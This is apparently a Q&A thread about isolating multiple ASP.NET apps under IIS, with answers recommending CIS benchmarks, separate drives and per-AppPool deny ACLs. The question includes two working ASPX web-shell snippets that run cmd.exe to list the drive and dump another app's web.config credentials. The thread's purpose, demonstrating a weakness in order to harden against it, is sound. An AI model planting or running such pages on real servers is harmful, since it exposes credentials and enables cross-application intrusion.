0

I'm setting up a new machine for hosting multiple asp.net applications. My goal is to isolate the apps as strongly as possible. In case one of the apps is hacked, all other apps should be safe.

I have a default configuration. There is a c:\wwwroot directory. In this directory I have \AppA and \AppB folders containing application files. The wwwroot directory has default permissions:

Users - read & execute
IIS_IUSRS - read & execute

Both applications run under different app polls under their own security contexts:

IIS AppPool\AppA
IIS AppPoll\AppB

Let's say somebody broke into AppA and was able to upoad a rogue "dir.aspx" file:

<%@ Language=c# runat="server"%>
<html>
<body>
<%
    System.Diagnostics.Process si = new System.Diagnostics.Process();
    si.StartInfo.WorkingDirectory = "c:\\";
    si.StartInfo.UseShellExecute = false;
    si.StartInfo.FileName = "cmd.exe";
    si.StartInfo.Arguments = "/c dir";
    si.StartInfo.CreateNoWindow = true;
    si.StartInfo.RedirectStandardInput = true;
    si.StartInfo.RedirectStandardOutput = true;
    si.StartInfo.RedirectStandardError = true;
    si.Start();
    string output = si.StandardOutput.ReadToEnd();
    si.Close();
    Response.Write(output);
%>
</body>
</html>

Surprise! Under default configuration the attacker has read access to c:\ - output:

<html>
<body>

 Volume in drive C is System
 Volume Serial Number is ******

 Directory of c:\

05.11.2018  14:39    <DIR>          PerfLogs
21.12.2018  13:55    <DIR>          Program Files
06.11.2018  15:03    <DIR>          Program Files (x86)
20.12.2018  10:08    <DIR>          Users
11.12.2018  01:33    <DIR>          Windows
10.01.2019  19:36    <DIR>          wwwroot
               0 File(s)              0 bytes
               8 Dir(s)  109˙008˙580˙608 bytes free


</body>
</html>

Now the attacker can easily browse through the files on the whole machine, and can access AppB to read the web.config of AppB exposing it's database credentials and other sensitive data:

<%@ Language=c# runat="server"%>
<html>
<body>

<%

System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);

 %>

</body>
</html>

Output:

<html>
<body>

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <connectionStrings>
    <add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
  </connectionStrings>
  <system.web>
    <compilation debug="true" targetFramework="4.5.2" />
    <httpRuntime targetFramework="4.5.2" />
    <customErrors mode="Off"/>
  </system.web>
</configuration>

</body>
</html>

The question is, is it possible to configure IIS permissions to have a better application isolation? How come the above scenario is even possible?

Jan W
  • 101

2 Answers2

1

Yes, it is possible.

I can provide a high level overview, but to secure your entire system you should really take a look at the CIS Benchmarks for IIS and Windows 2016. These benchmarks go over too many settings to list here, but will greatly lock down your server and give you a good security posture.

Just a couple things to get you started though.

  1. Don't put your websites on the system drive. Create a separate drive. This is not just for security, but to also prevent your system drive from running out of space if you end up uploading or generating too many files.
  2. Delete the Default AppPool and Website. Don't even use the default wwwroot folder.
  3. You started off well by creating separate AppPools for each website, but you can take that a step further and restrict access to each website's root folder to the AppPool running that specific website.

Try the benchmarks (these snippets I provided are included in the benchmark) and then run your test again. Out of the box Windows is not going to be secure for this type of use case (or many if you really get down to it).

1

You could workaround the problem by set ntfs permission acl on "applicationB" folder with "IIS AppPool\AppA" full deny and viceversa.

Deny